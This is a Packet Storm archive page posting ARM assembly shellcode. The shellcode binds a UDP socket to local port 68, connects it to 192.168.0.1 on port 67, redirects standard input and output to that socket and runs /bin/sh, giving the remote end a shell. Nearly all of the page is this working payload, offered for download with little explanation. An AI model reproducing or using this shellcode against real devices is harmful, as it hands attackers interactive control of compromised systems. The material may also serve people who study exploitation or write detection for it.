exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

ARM Bind UDP Shell Port 68

ARM Bind UDP Shell Port 68
Posted Oct 28, 2010
Authored by Daniel Godas-Lopez

ARM shellcode that will bind to port 68 on any local address and plug a UDP shell onto port 67 on 192.168.0.1.

tags | shell, local, udp, shellcode
SHA-256 | ea55946f1d2135c2f64a2b75dd4d650fe47934b1e2ddaf8df4468700d0dc0010

ARM Bind UDP Shell Port 68

Change Mirror Download
/*
* Title: arm-bind-connect-udp
* Brief: Bind to port 68 on any local address and plug a udp shell
* onto to port 67 on 192.168.0.1
* Author: Daniel Godas-Lopez <gmail account dgodas>
*/

.if 1
/*
close(3), close(4), ..., close(1024)
*/

mov %r1, $1024
1: mov %r0, %r1
svc 0x00900006
subs %r1, %r1, $1
subs %r2, %r1, $3
bpl 1b
.endif

/*
soc_des = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
*/

mov %r0, $2 /* AF_INET */
mov %r1, $2 /* SOCK_DGRAM */
mov %r2, $17 /* IPPRTOTO_UDP */
push {%r0, %r1, %r2}
mov %r0, $1 /* socket */
mov %r1, %sp
svc 0x00900066
add %sp, %sp, $12

mov %r6, %r0 /* r6 = soc_des */

/*
bind(soc_des, (struct sockaddr*) &serv_addr, sizeof(serv_addr));
*/

.if 0 /* r0 == r6 already */
mov %r0, %r6 /* soc_des */
.endif

mov %r1, $0x44000000
add %r1, $2 /* port = 68, family = 2 (AF_INET) */
sub %r2, %r2, %r2 /* addr = 0.0.0.0 */
push {%r1, %r2}
mov %r1, %sp /* pointer to sockaddr_in */
mov %r2, $16 /* sizeof(struct sockaddr_in) */

push {%r0, %r1, %r2}
mov %r0, $2 /* bind */
mov %r1, %sp
svc 0x00900066
add %sp, %sp, $20

/*
connect(soc_des, (struct sockaddr*) &cli_addr, sizeof(cli_addr));
*/

mov %r0, %r6 /* soc_des */

mov %r1, $0x43000000
add %r1, $2 /* port = 67, family = 2 (AF_INET) */
mov %r2, $0x1000000
add %r2, %r2, $0xa800
add %r2, $0xc0 /* addr = 192.168.0.1 */
push {%r1, %r2}
mov %r1, %sp /* pointer to sockaddr_in */
mov %r2, $16 /* sizeof(struct sockaddr_in) */

push {%r0, %r1, %r2}
mov %r0, $3 /* connect */
mov %r1, %sp
svc 0x00900066
add %sp, %sp, $20

/*
dup2(soc_cli,0);
dup2(soc_cli,1);
dup2(soc_cli,2);
*/

mov %r1, $2
1: mov %r0, %r6
svc 0x0090003f
subs %r1, %r1, $1
bpl 1b

/*
execve("/bin/sh", parms, env);
*/

sub %r1, %sp, $4 /* argv[0] = "sh" */
sub %r2, %r2, %r2 /* argv[1] = 0x00000000 */
mov %r3, $0x2f
mov %r7, $0x62
add %r3, %r7, lsl $8
mov %r7, $0x69
add %r3, %r7, lsl $16
mov %r7, $0x6e
add %r3, %r7, lsl $24 /* '/' 'b' 'i' 'n' */
mov %r4, $'/'
mov %r7, $'s'
add %r4, %r7, lsl $8
mov %r7, $'h'
add %r4, %r7, lsl $16 /* '/' 's' 'h' 0x00 */
mov %r5, $'s'
mov %r7, $'h'
add %r5, %r7, lsl $8 /* 's' 'h' 0x00 0x00 */

push {%r1, %r2, %r3, %r4, %r5}

add %r0, %sp, $8 /* filename ptr */
add %r1, %sp, $0 /* argv ptr */
add %r2, %sp, $4 /* env ptr */

svc 0x0090000b

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close